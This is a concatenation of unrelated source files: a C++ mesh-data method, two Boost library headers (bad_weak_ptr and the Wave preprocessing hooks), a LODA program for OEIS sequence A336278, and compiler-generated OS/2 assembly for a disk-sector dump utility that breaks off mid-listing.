ends
#include <sstream> #include "SDEngineCommonFunction.h" #include "MeshData.h" using SDE::Basic::StringFormat; _____________SD_START_GRAPHICS_NAMESPACE_____________ MeshData::MeshData() : m_material_ID(-1) { } MeshData::~MeshData() { } std::string MeshData::ToString(uint32_t i_level) const { std::stringstream ss; std::string tabs; for (uint32_t i = 0; i < i_level; ++i) { tabs += "---"; } ss << tabs << StringFormat("M[%s]:\n", m_name.c_str()); for (uint32_t i = 0; i < VertexBufferUsage_MAX_DEFINE_VALUE; ++i) { if (m_vertex_attribs[i].size() > 0) { ss << tabs << tabs << StringFormat("VA[%d](%llu)\n", i, m_vertex_attribs[i].size()); } } ss << tabs << tabs << StringFormat("Face(%llu)\n", m_face_indices.size() / 3); return ss.str(); } ______________SD_END_GRAPHICS_NAMESPACE______________
#ifndef BOOST_SMART_PTR_BAD_WEAK_PTR_HPP_INCLUDED #define BOOST_SMART_PTR_BAD_WEAK_PTR_HPP_INCLUDED // MS compatible compilers support #pragma once #if defined(_MSC_VER) && (_MSC_VER >= 1020) # pragma once #endif // // boost/smart_ptr/bad_weak_ptr.hpp // // Copyright (c) 2001, 2002, 2003 Peter Dimov and Multi Media Ltd. // // Distributed under the Boost Software License, Version 1.0. (See // accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // #include <exception> #ifdef __BORLANDC__ # pragma warn -8026 // Functions with excep. spec. are not expanded inline #endif namespace mars_boost {} namespace boost = mars_boost; namespace mars_boost { // The standard library that comes with Borland C++ 5.5.1, 5.6.4 // defines std::exception and its members as having C calling // convention (-pc). When the definition of bad_weak_ptr // is compiled with -ps, the compiler issues an error. // Hence, the temporary #pragma option -pc below. #if defined(__BORLANDC__) && __BORLANDC__ <= 0x564 # pragma option push -pc #endif class bad_weak_ptr: public std::exception { public: virtual char const * what() const throw() { return "tr1::bad_weak_ptr"; } }; #if defined(__BORLANDC__) && __BORLANDC__ <= 0x564 # pragma option pop #endif } // namespace mars_boost {} namespace boost = mars_boost; namespace mars_boost #ifdef __BORLANDC__ # pragma warn .8026 // Functions with excep. spec. are not expanded inline #endif #endif // #ifndef BOOST_SMART_PTR_BAD_WEAK_PTR_HPP_INCLUDED
; A336278: a(n) = Sum_{k=1..n} mu(k)*k^4. ; 1,-15,-96,-96,-721,575,-1826,-1826,-1826,8174,-6467,-6467,-35028,3388,54013,54013,-29508,-29508,-159829,-159829,34652,268908,-10933,-10933,-10933,446043,446043,446043,-261238,-1071238,-1994759,-1994759,-808838,527498,2028123,2028123,153962,2239098,4552539,4552539,1726778,-1384918,-4803719,-4803719,-4803719,-326263,-5205944,-5205944,-5205944,-5205944,1559257,1559257,-6331224,-6331224,2819401,2819401,13375402,24691898,12574537,12574537,-1271304,13505032,13505032,13505032,31355657,12380921 lpb $0 mov $2,$0 sub $0,1 seq $2,334660 ; Dirichlet g.f.: 1 / zeta(s-4). add $1,$2 lpe add $1,1 mov $0,$1
/*============================================================================= Boost.Wave: A Standard compliant C++ preprocessor library http://www.boost.org/ Copyright (c) 2001-2012 Hartmut Kaiser. Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) =============================================================================*/ #if !defined(BOOST_DEFAULT_PREPROCESSING_HOOKS_HPP_INCLUDED) #define BOOST_DEFAULT_PREPROCESSING_HOOKS_HPP_INCLUDED #include <boost/wave/wave_config.hpp> #include <boost/wave/util/cpp_include_paths.hpp> #include <boost/wave/cpp_exceptions.hpp> #include <vector> // this must occur after all of the includes and before any code appears #ifdef BOOST_HAS_ABI_HEADERS #include BOOST_ABI_PREFIX #endif /////////////////////////////////////////////////////////////////////////////// namespace boost { namespace wave { namespace context_policies { /////////////////////////////////////////////////////////////////////////////// // // The default_preprocessing_hooks class is a placeholder for all // preprocessing hooks called from inside the preprocessing engine // /////////////////////////////////////////////////////////////////////////////// struct default_preprocessing_hooks { /////////////////////////////////////////////////////////////////////////// // // The function 'expanding_function_like_macro' is called, whenever a // function-like macro is to be expanded. // // The parameter 'macrodef' marks the position, where the macro to expand // is defined. // // The parameter 'formal_args' holds the formal arguments used during the // definition of the macro. // // The parameter 'definition' holds the macro definition for the macro to // trace. // // The parameter 'macro_call' marks the position, where this macro invoked. // // The parameter 'arguments' holds the macro arguments used during the // invocation of the macro // // The parameters 'seqstart' and 'seqend' point into the input token // stream allowing to access the whole token sequence comprising the macro // invocation (starting with the opening parenthesis and ending after the // closing one). // // The return value defines whether the corresponding macro will be // expanded (return false) or will be copied to the output (return true). // Note: the whole argument list is copied unchanged to the output as well // without any further processing. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename TokenT, typename ContainerT, typename IteratorT> bool expanding_function_like_macro(ContextT const& ctx, TokenT const& macrodef, std::vector<TokenT> const& formal_args, ContainerT const& definition, TokenT const& macrocall, std::vector<ContainerT> const& arguments, IteratorT const& seqstart, IteratorT const& seqend) { return false; } // default is to normally expand the macro /////////////////////////////////////////////////////////////////////////// // // The function 'expanding_object_like_macro' is called, whenever a // object-like macro is to be expanded . // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'macro' marks the position, where the macro to expand // is defined. // // The definition 'definition' holds the macro definition for the macro to // trace. // // The parameter 'macrocall' marks the position, where this macro invoked. // // The return value defines whether the corresponding macro will be // expanded (return false) or will be copied to the output (return true). // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename TokenT, typename ContainerT> bool expanding_object_like_macro(ContextT const& ctx, TokenT const& macro, ContainerT const& definition, TokenT const& macrocall) { return false; } // default is to normally expand the macro /////////////////////////////////////////////////////////////////////////// // // The function 'expanded_macro' is called, whenever the expansion of a // macro is finished but before the rescanning process starts. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'result' contains the token sequence generated as the // result of the macro expansion. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename ContainerT> void expanded_macro(ContextT const& ctx, ContainerT const& result) {} /////////////////////////////////////////////////////////////////////////// // // The function 'rescanned_macro' is called, whenever the rescanning of a // macro is finished. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'result' contains the token sequence generated as the // result of the rescanning. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename ContainerT> void rescanned_macro(ContextT const& ctx, ContainerT const& result) {} /////////////////////////////////////////////////////////////////////////// // // The function 'locate_include_file' is called, whenever a #include // directive was encountered. It is supposed to locate the given file and // should return the full file name of the located file. This file name // is expected to uniquely identify the referenced file. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'file_path' contains the (expanded) file name found after // the #include directive. This parameter holds the string as it is // specified in the #include directive, i.e. <file> or "file" will result // in a parameter value 'file'. // // The parameter 'is_system' is set to 'true' if this call happens as a // result of a #include '<file>' directive, it is 'false' otherwise, i.e. // for #include "file" directives. // // The parameter 'current_name' is only used if a #include_next directive // was encountered (and BOOST_WAVE_SUPPORT_INCLUDE_NEXT was defined to be // non-zero). In this case it points to unique full name of the current // include file (if any). Otherwise this parameter is set to NULL. // // The parameter 'dir_path' on return is expected to hold the directory // part of the located file. // // The parameter 'native_name' on return is expected to hold the unique // full file name of the located file. // // The return value defines whether the file was located successfully. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT> bool locate_include_file(ContextT& ctx, std::string &file_path, bool is_system, char const *current_name, std::string &dir_path, std::string &native_name) { if (!ctx.find_include_file (file_path, dir_path, is_system, current_name)) return false; // could not locate file namespace fs = boost::filesystem; fs::path native_path(wave::util::create_path(file_path)); if (!fs::exists(native_path)) { BOOST_WAVE_THROW_CTX(ctx, preprocess_exception, bad_include_file, file_path.c_str(), ctx.get_main_pos()); return false; } // return the unique full file system path of the located file native_name = wave::util::native_file_string(native_path); return true; // include file has been located successfully } /////////////////////////////////////////////////////////////////////////// // // The function 'found_include_directive' is called, whenever a #include // directive was located. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'filename' contains the (expanded) file name found after // the #include directive. This has the format '<file>', '"file"' or // 'file'. // The formats '<file>' or '"file"' are used for #include directives found // in the preprocessed token stream, the format 'file' is used for files // specified through the --force_include command line argument. // // The parameter 'include_next' is set to true if the found directive was // a #include_next directive and the BOOST_WAVE_SUPPORT_INCLUDE_NEXT // preprocessing constant was defined to something != 0. // // The return value defines whether the found file will be included // (return false) or will be skipped (return true). // /////////////////////////////////////////////////////////////////////////// template <typename ContextT> bool found_include_directive(ContextT const& ctx, std::string const& filename, bool include_next) { return false; // ok to include this file } /////////////////////////////////////////////////////////////////////////// // // The function 'opened_include_file' is called, whenever a file referred // by an #include directive was successfully located and opened. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'filename' contains the file system path of the // opened file (this is relative to the directory of the currently // processed file or a absolute path depending on the paths given as the // include search paths). // // The include_depth parameter contains the current include file depth. // // The is_system_include parameter denotes whether the given file was // found as a result of a #include <...> directive. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT> void opened_include_file(ContextT const& ctx, std::string const& relname, std::string const& absname, bool is_system_include) {} /////////////////////////////////////////////////////////////////////////// // // The function 'returning_from_include_file' is called, whenever an // included file is about to be closed after it's processing is complete. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT> void returning_from_include_file(ContextT const& ctx) {} #if BOOST_WAVE_SUPPORT_PRAGMA_ONCE != 0 /////////////////////////////////////////////////////////////////////////// // // The function 'detected_include_guard' is called whenever either a // include file is about to be added to the list of #pragma once headers. // That means this header file will not be opened and parsed again even // if it is specified in a later #include directive. // This function is called as the result of a detected include guard // scheme. // // The implemented heuristics for include guards detects two forms of // include guards: // // #ifndef INCLUDE_GUARD_MACRO // #define INCLUDE_GUARD_MACRO // ... // #endif // // or // // if !defined(INCLUDE_GUARD_MACRO) // #define INCLUDE_GUARD_MACRO // ... // #endif // // note, that the parenthesis are optional (i.e. !defined INCLUDE_GUARD_MACRO // will work as well). The code allows for any whitespace, newline and single // '#' tokens before the #if/#ifndef and after the final #endif. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'filename' contains the file system path of the // opened file (this is relative to the directory of the currently // processed file or a absolute path depending on the paths given as the // include search paths). // // The parameter contains the name of the detected include guard. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT> void detected_include_guard(ContextT const& ctx, std::string const& filename, std::string const& include_guard) {} /////////////////////////////////////////////////////////////////////////// // // The function 'detected_pragma_once' is called whenever either a // include file is about to be added to the list of #pragma once headers. // That means this header file will not be opened and parsed again even // if it is specified in a later #include directive. // This function is called as the result of a detected directive // #pragma once. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter pragma_token refers to the token "#pragma" triggering // this preprocessing hook. // // The parameter 'filename' contains the file system path of the // opened file (this is relative to the directory of the currently // processed file or a absolute path depending on the paths given as the // include search paths). // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename TokenT> void detected_pragma_once(ContextT const& ctx, TokenT const& pragma_token, std::string const& filename) {} #endif /////////////////////////////////////////////////////////////////////////// // // The function 'interpret_pragma' is called, whenever a '#pragma command' // directive is found which isn't known to the core Wave library, where // 'command' is the value defined as the BOOST_WAVE_PRAGMA_KEYWORD constant // which defaults to "wave". // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'pending' may be used to push tokens back into the input // stream, which are to be used as the replacement text for the whole // #pragma directive. // // The parameter 'option' contains the name of the interpreted pragma. // // The parameter 'values' holds the values of the parameter provided to // the pragma operator. // // The parameter 'act_token' contains the actual #pragma token, which may // be used for error output. // // If the return value is 'false', the whole #pragma directive is // interpreted as unknown and a corresponding error message is issued. A // return value of 'true' signs a successful interpretation of the given // #pragma. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename ContainerT> bool interpret_pragma(ContextT const& ctx, ContainerT &pending, typename ContextT::token_type const& option, ContainerT const& values, typename ContextT::token_type const& act_token) { return false; } /////////////////////////////////////////////////////////////////////////// // // The function 'emit_line_directive' is called whenever a #line directive // has to be emitted into the generated output. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'pending' may be used to push tokens back into the input // stream, which are to be used instead of the default output generated // for the #line directive. // // The parameter 'act_token' contains the actual #pragma token, which may // be used for error output. The line number stored in this token can be // used as the line number emitted as part of the #line directive. // // If the return value is 'false', a default #line directive is emitted // by the library. A return value of 'true' will inhibit any further // actions, the tokens contained in 'pending' will be copied verbatim // to the output. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename ContainerT> bool emit_line_directive(ContextT const& ctx, ContainerT &pending, typename ContextT::token_type const& act_token) { return false; } /////////////////////////////////////////////////////////////////////////// // // The function 'defined_macro' is called, whenever a macro was defined // successfully. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'name' is a reference to the token holding the macro name. // // The parameter 'is_functionlike' is set to true, whenever the newly // defined macro is defined as a function like macro. // // The parameter 'parameters' holds the parameter tokens for the macro // definition. If the macro has no parameters or if it is a object like // macro, then this container is empty. // // The parameter 'definition' contains the token sequence given as the // replacement sequence (definition part) of the newly defined macro. // // The parameter 'is_predefined' is set to true for all macros predefined // during the initialization phase of the library. // /////////////////////////////////////////////////////////////////////////// template < typename ContextT, typename TokenT, typename ParametersT, typename DefinitionT > void defined_macro(ContextT const& ctx, TokenT const& macro_name, bool is_functionlike, ParametersT const& parameters, DefinitionT const& definition, bool is_predefined) {} /////////////////////////////////////////////////////////////////////////// // // The function 'undefined_macro' is called, whenever a macro definition // was removed successfully. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'name' holds the name of the macro, which definition was // removed. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename TokenT> void undefined_macro(ContextT const& ctx, TokenT const& macro_name) {} /////////////////////////////////////////////////////////////////////////// // // The function 'found_directive' is called, whenever a preprocessor // directive was encountered, but before the corresponding action is // executed. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'directive' is a reference to the token holding the // preprocessing directive. // // The return value defines whether the given expression has to be // to be executed in a normal way (return 'false'), or if it has to be // skipped altogether (return 'true'), which means it gets replaced in the // output by a single newline. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename TokenT> bool found_directive(ContextT const& ctx, TokenT const& directive) { return false; } // by default we never skip any directives /////////////////////////////////////////////////////////////////////////// // // The function 'found_unknown_directive' is called, whenever an unknown // preprocessor directive was encountered. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'line' holds the tokens of the entire source line // containing the unknown directive. // // The parameter 'pending' may be used to push tokens back into the input // stream, which are to be used as the replacement text for the whole // line containing the unknown directive. // // The return value defines whether the given expression has been // properly interpreted by the hook function or not. If this function // returns 'false', the library will raise an 'ill_formed_directive' // preprocess_exception. Otherwise the tokens pushed back into 'pending' // are passed on to the user program. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename ContainerT> bool found_unknown_directive(ContextT const& ctx, ContainerT const& line, ContainerT& pending) { return false; } // by default we never interpret unknown directives /////////////////////////////////////////////////////////////////////////// // // The function 'evaluated_conditional_expression' is called, whenever a // conditional preprocessing expression was evaluated (the expression // given to a #if, #elif, #ifdef or #ifndef directive) // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'directive' is a reference to the token holding the // corresponding preprocessing directive. // // The parameter 'expression' holds the non-expanded token sequence // comprising the evaluated expression. // // The parameter expression_value contains the result of the evaluation of // the expression in the current preprocessing context. // // The return value defines whether the given expression has to be // evaluated again, allowing to decide which of the conditional branches // should be expanded. You need to return 'true' from this hook function // to force the expression to be re-evaluated. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename TokenT, typename ContainerT> bool evaluated_conditional_expression(ContextT const& ctx, TokenT const& directive, ContainerT const& expression, bool expression_value) { return false; } // ok to continue, do not re-evaluate expression /////////////////////////////////////////////////////////////////////////// // // The function 'skipped_token' is called, whenever a token is about to be // skipped due to a false preprocessor condition (code fragments to be // skipped inside the not evaluated conditional #if/#else/#endif branches). // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'token' refers to the token to be skipped. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename TokenT> void skipped_token(ContextT const& ctx, TokenT const& token) {} /////////////////////////////////////////////////////////////////////////// // // The function 'generated_token' will be called by the library whenever a // token is about to be returned from the library. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 't' is the token about to be returned from the library. // This function may alter the token, but in this case it must be // implemented with a corresponding signature: // // TokenT const& // generated_token(ContextT const& ctx, TokenT& t); // // which makes it possible to modify the token in place. // // The default behavior is to return the token passed as the parameter // without modification. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename TokenT> TokenT const& generated_token(ContextT const& ctx, TokenT const& t) { return t; } /////////////////////////////////////////////////////////////////////////// // // The function 'may_skip_whitespace' will be called by the // library, whenever it must be tested whether a specific token refers to // whitespace and this whitespace has to be skipped. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The 'token' parameter holds a reference to the current token. The policy // is free to change this token if needed. // // The 'skipped_newline' parameter holds a reference to a boolean value // which should be set to true by the policy function whenever a newline // is going to be skipped. // // If the return value is true, the given token is skipped and the // preprocessing continues to the next token. If the return value is // false, the given token is returned to the calling application. // // ATTENTION! // Caution has to be used, because by returning true the policy function // is able to force skipping even significant tokens, not only whitespace. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename TokenT> bool may_skip_whitespace(ContextT const& ctx, TokenT& token, bool& skipped_newline) { return false; } #if BOOST_WAVE_SUPPORT_WARNING_DIRECTIVE != 0 /////////////////////////////////////////////////////////////////////////// // // The function 'found_warning_directive' will be called by the library // whenever a #warning directive is found. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'message' references the argument token sequence of the // encountered #warning directive. // // If the return value is false, the library throws a preprocessor // exception of the type 'warning_directive', if the return value is true // the execution continues as if no #warning directive has been found. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename ContainerT> bool found_warning_directive(ContextT const& ctx, ContainerT const& message) { return false; } #endif /////////////////////////////////////////////////////////////////////////// // // The function 'found_error_directive' will be called by the library // whenever a #error directive is found. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'message' references the argument token sequence of the // encountered #error directive. // // If the return value is false, the library throws a preprocessor // exception of the type 'error_directive', if the return value is true // the execution continues as if no #error directive has been found. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename ContainerT> bool found_error_directive(ContextT const& ctx, ContainerT const& message) { return false; } /////////////////////////////////////////////////////////////////////////// // // The function 'found_line_directive' will be called by the library // whenever a #line directive is found. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'arguments' references the argument token sequence of the // encountered #line directive. // // The parameter 'line' contains the recognized line number from the #line // directive. // // The parameter 'filename' references the recognized file name from the // #line directive (if there was one given). // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename ContainerT> void found_line_directive(ContextT const& ctx, ContainerT const& arguments, unsigned int line, std::string const& filename) {} /////////////////////////////////////////////////////////////////////////// // // The function 'throw_exception' will be called by the library whenever a // preprocessing exception occurs. // // The parameter 'ctx' is a reference to the context object used for // instantiating the preprocessing iterators by the user. // // The parameter 'e' is the exception object containing detailed error // information. // // The default behavior is to call the function boost::throw_exception. // /////////////////////////////////////////////////////////////////////////// template <typename ContextT, typename ExceptionT> void throw_exception(ContextT const& ctx, ExceptionT const& e) { boost::throw_exception(e); } }; /////////////////////////////////////////////////////////////////////////////// } // namespace context_policies } // namespace wave } // namespace boost // the suffix header occurs after all of the code #ifdef BOOST_HAS_ABI_HEADERS #include BOOST_ABI_SUFFIX #endif #endif // !defined(BOOST_DEFAULT_PREPROCESSING_HOOKS_HPP_INCLUDED)
title dump.cpp .386 .387 includelib CPPOM30.LIB includelib OS2386.LIB CODE32 segment dword use32 public 'CODE' CODE32 ends DATA32 segment dword use32 public 'DATA' DATA32 ends CONST32_RO segment dword use32 public 'CONST' CONST32_RO ends BSS32 segment dword use32 public 'BSS' BSS32 ends EH_CODE segment dword use32 public 'CODE' EH_CODE ends CTOR_DTOR1 segment dword use32 public 'DATA' CTOR_DTOR1 ends CTOR_DTOR2 segment dword use32 public 'DATA' CTOR_DTOR2 ends CTOR_DTOR3 segment dword use32 public 'DATA' CTOR_DTOR3 ends EH_DATA segment para use32 public 'DATA' EH_DATA ends _VFT segment para use32 public 'DATA' _VFT ends DGROUP group BSS32, DATA32 assume cs:FLAT, ds:FLAT, ss:FLAT, es:FLAT extrn _sprintfieee:proc extrn __vn__FUi:proc extrn PDskEnum:proc extrn Verbose:proc extrn __vd__FPv:proc extrn PDskOpen:proc extrn PDskQueryParam:proc extrn PDskRead:proc extrn memcmp:proc extrn PDskClose:proc extrn WinQueryWindowText:proc extrn WinWindowFromID:proc extrn MyMessageBox__FCiCUlPce:proc extrn _sscanfieee:proc extrn _beginthread:proc extrn WinDismissDlg:proc extrn WinDefDlgProc:proc extrn _ctype:dword extrn _fltused:dword CONST32_RO segment @CBE1 db "%04X: ",0h align 04h @CBE2 db "%02X",0h align 04h @CBE3 db 09h,"%s",0ah,0h @CBE4 db "-",0h @CBE5 db " ",0h align 04h @CBE6 db "Dump",0h align 04h @CBE7 db "PDskEnum - rc %lu",0h align 04h @CBE8 db "Physical disks: %lu",0h @CBE9 db "PDskOpen(%lu) - rc %lu",0h align 04h @CBE10 db "======== Disk %lu, handl" db "e %#lx ========",0h @CBE11 db "PDskQueryParam - rc %lu",0h @CBE12 db "Physical drive parameter" db "s: Cylinders: %d, Heads:" db " %d, Sectors/Track: %d",0h align 04h @CBE13 db "Drive capacity: %lu MByt" db "es",0h align 04h @CBE14 db "PDskRead - rc %lu",0h align 04h @CBE15 db "-------- Dump of real pa" db "rtition sector --------",0ah db "%s",0h align 04h @CBE16 db "no VRAID partition on dr" db "ive %u",0h align 04h @CBE17 db "-------- Dump of PHYSDEV" db " sector (%lu) --------",0ah,"%" db "s",0h align 04h @CBE18 db "PHYSDEVICE ",0h align 04h @CBE19 db "no PHYSDEV sector on par" db "tition",0h align 04h @CBE20 db "-------- Dump of VRDEV s" db "ector (%lu) --------",0ah,"%s",0h @CBE21 db "VRAIDDEVICE ",0h align 04h @CBE22 db "no VRAIDEVICE mark",0h align 04h @CBE23 db "-------- Dump of first d" db "ata sector (%lu) -------" db "-",0ah,"%s",0h align 04h @CBE24 db "only numerics allowed!",0h align 04h @CBE25 db " %ld",0h align 04h @1vcid db "$Id: dump.cpp,v 1.6 2003" db "/09/21 00:56:53 vitus Ex" db "p vitus $",0h CONST32_RO ends BSS32 segment @40parent db 04h DUP (0h) BSS32 ends CODE32 segment ; 296 DumpDialogProc(HWND hwnd,ULONG msg,MPARAM mp1,MPARAM mp2) public DumpDialogProc DumpDialogProc proc push ebp mov ebp,esp push edi ; 300 switch( msg ) mov eax,[ebp+0ch]; msg ; 296 DumpDialogProc(HWND hwnd,ULONG msg,MPARAM mp1,MPARAM mp2) push esi sub esp,0d8h ; 300 switch( msg ) cmp eax,020h je @BLBL58 cmp eax,03bh jne @BLBL56 @BLBL57: ; 303 parent = HWNDFROMMP(mp2); mov eax,[ebp+014h]; mp2 mov dword ptr @40parent,eax ; 304 break; jmp @BLBL56 @BLBL58: ; 307 switch( SHORT1FROMMP(mp1) ) mov ax,[ebp+010h]; mp1 movzx eax,ax cmp eax,01h je @BLBL59 cmp eax,02h je @BLBL60 jmp @BLBL56 @BLBL59: ; 316 cbText = WinQueryWindowText(WinWindowFromID(hwnd, EF_DRVINDEX), push 0209h push dword ptr [ebp+08h]; hwnd call WinWindowFromID lea ecx,[ebp-0d4h]; chText push ecx push 0c8h push eax call WinQueryWindowText add esp,014h ; 318 for( i = 0; i < cbText; ++i ) test eax,eax jle @BLBL50 mov esi,eax xor edi,edi @BLBL51: ; 319 if( !isdigit(chText[i]) && chText[i] != '-' ) mov ecx,dword ptr _ctype mov al,byte ptr [ebp+edi-0d4h] movzx edx,al test byte ptr [ecx+edx*02h],02h jne @BLBL53 cmp al,02dh je @BLBL53 ; 321 MyMessageBox( 1, hwnd, "only numerics allowed!" ); mov edx,[ebp+08h]; hwnd mov ecx,offset FLAT:@CBE24 mov eax,01h call MyMessageBox__FCiCUlPce ; 322 return 0; add esp,0d8h xor eax,eax pop esi pop edi pop ebp ret @BLBL53: ; 318 for( i = 0; i < cbText; ++i ) inc edi cmp edi,esi jl @BLBL51 @BLBL50: ; 327 sscanf(chText, " %ld", &ul); lea ecx,[ebp-0ch]; ul push ecx mov edx,offset FLAT:@CBE25 sub esp,08h lea eax,[ebp-0d4h]; chText call _sscanfieee ; 328 _beginthread(DumpPartitions, NULL, STACK_SIZE, (PVOID)ul); mov ecx,[ebp-0ch]; ul push ecx mov ecx,0100000h sub esp,0ch xor edx,edx mov eax,offset FLAT: DumpPartitions call _beginthread ; 330 WinDismissDlg(hwnd, DID_START); push 0ah push dword ptr [ebp+08h]; hwnd call WinDismissDlg add esp,024h ; 332 return 0; add esp,0d8h xor eax,eax pop esi pop edi pop ebp ret @BLBL60: ; 335 WinDismissDlg(hwnd, DID_CANCEL); push 02h push dword ptr [ebp+08h]; hwnd call WinDismissDlg add esp,08h ; 336 return 0; add esp,0d8h xor eax,eax pop esi pop edi pop ebp ret ; 341 break; @BLBL56: ; 344 return WinDefDlgProc(hwnd, msg, mp1, mp2); push dword ptr [ebp+014h]; mp2 push dword ptr [ebp+010h]; mp1 push dword ptr [ebp+0ch]; msg push dword ptr [ebp+08h]; hwnd call WinDefDlgProc add esp,0e8h pop esi pop edi pop ebp ret DumpDialogProc endp ; 113 DumpPartitions(PVOID dummy) DumpPartitions proc push ebp mov ebp,esp push ebx push edi push esi sub esp,0238h ; 115 ULONG which = (ULONG)dummy; mov [ebp-020h],eax; which ; 117 char * output = new char[33*80]; mov eax,0a50h call __vn__FUi mov ebx,eax ; 123 rc = PDskEnum(&devcnt); lea eax,[ebp-018h]; devcnt call PDskEnum ; 117 char * output = new char[33*80]; mov [ebp-01ch],ebx; output ; 124 if( rc ) test eax,eax je @BLBL17 ; 126 Verbose(0, "Dump", "PDskEnum - rc %lu", rc); push eax mov ecx,offset FLAT:@CBE7 sub esp,0ch mov edx,offset FLAT:@CBE6 xor eax,eax call Verbose mov eax,ebx ; 127 delete[] output; call __vd__FPv ; 128 return; add esp,0248h pop esi pop edi pop ebx pop ebp ret @BLBL17: ; 130 Verbose(0, "Dump", "Physical disks: %lu", devcnt); push dword ptr [ebp-018h]; devcnt ; 132 for( devidx = 0; devidx < devcnt; ++devidx ) mov dword ptr [ebp-014h],0h; devidx ; 130 Verbose(0, "Dump", "Physical disks: %lu", devcnt); sub esp,0ch mov ecx,offset FLAT:@CBE8 mov edx,offset FLAT:@CBE6 xor eax,eax call Verbose add esp,010h ; 132 for( devidx = 0; devidx < devcnt; ++devidx ) cmp dword ptr [ebp-018h],0h; devcnt jbe @BLBL18 mov ebx,[ebp-01ch]; output @BLBL19: ; 139 if( which != (ULONG)-1 && devidx != which ) mov eax,[ebp-020h]; which ; 137 ULONG partoffset = 0; xor esi,esi ; 139 if( which != (ULONG)-1 && devidx != which ) cmp eax,0ffffffffh je @BLBL20 cmp [ebp-014h],eax; devidx jne @BLBL21 ; 140 continue; /* ignore this one */ @BLBL20: ; 143 rc = PDskOpen(devidx, &hd); mov edi,[ebp-014h]; devidx lea edx,[ebp-010h]; hd mov eax,edi call PDskOpen ; 144 if( rc != 0 ) test eax,eax je @BLBL23 ; 146 Verbose(0, "Dump", "PDskOpen(%lu) - rc %lu", devidx, rc); push eax mov ecx,offset FLAT:@CBE9 push edi mov edx,offset FLAT:@CBE6 sub esp,0ch xor eax,eax call Verbose add esp,014h ; 147 continue; jmp @BLBL21 @BLBL23: ; 152 Verbose(0,"Dump", "======== Disk %lu, handle %#lx ========", devidx, hd); push dword ptr [ebp-010h]; hd mov edi,offset FLAT:@CBE6 push dword ptr [ebp-014h]; devidx mov ecx,offset FLAT:@CBE10 sub esp,0ch mov edx,edi xor eax,eax call Verbose ; 154 rc = PDskQueryParam(hd, &dp); mov eax,[ebp-010h]; hd lea edx,[ebp-0238h]; dp call PDskQueryParam add esp,014h mov edx,edi ; 155 if( rc != 0 ) test eax,eax je @BLBL24 ; 157 Verbose(0, "Dump", "PDskQueryParam - rc %lu", rc); push eax mov ecx,offset FLAT:@CBE11 sub esp,0ch xor eax,eax call Verbose add esp,010h ; 158 break; jmp @BLBL25 @BLBL24: ; 163 size *= (ULONG)dp.cCylinders; mov di,[ebp-0232h]; dp movzx ecx,di ; 165 Verbose(0,"Dump", movzx edi,di push edi ; 163 size *= (ULONG)dp.cCylinders; mov ax,[ebp-0234h]; dp movzx edx,ax ; 165 Verbose(0,"Dump", movzx eax,ax push eax ; 163 size *= (ULONG)dp.cCylinders; imul ecx,edx mov dx,[ebp-0236h]; dp movzx eax,dx ; 165 Verbose(0,"Dump", movzx edx,dx push edx ; 163 size *= (ULONG)dp.cCylinders; shr ecx,01h ; 165 Verbose(0,"Dump", sub esp,0ch ; 163 size *= (ULONG)dp.cCylinders; shr ecx,0ah imul eax,ecx mov [ebp-024h],eax; size ; 165 Verbose(0,"Dump", mov edi,offset 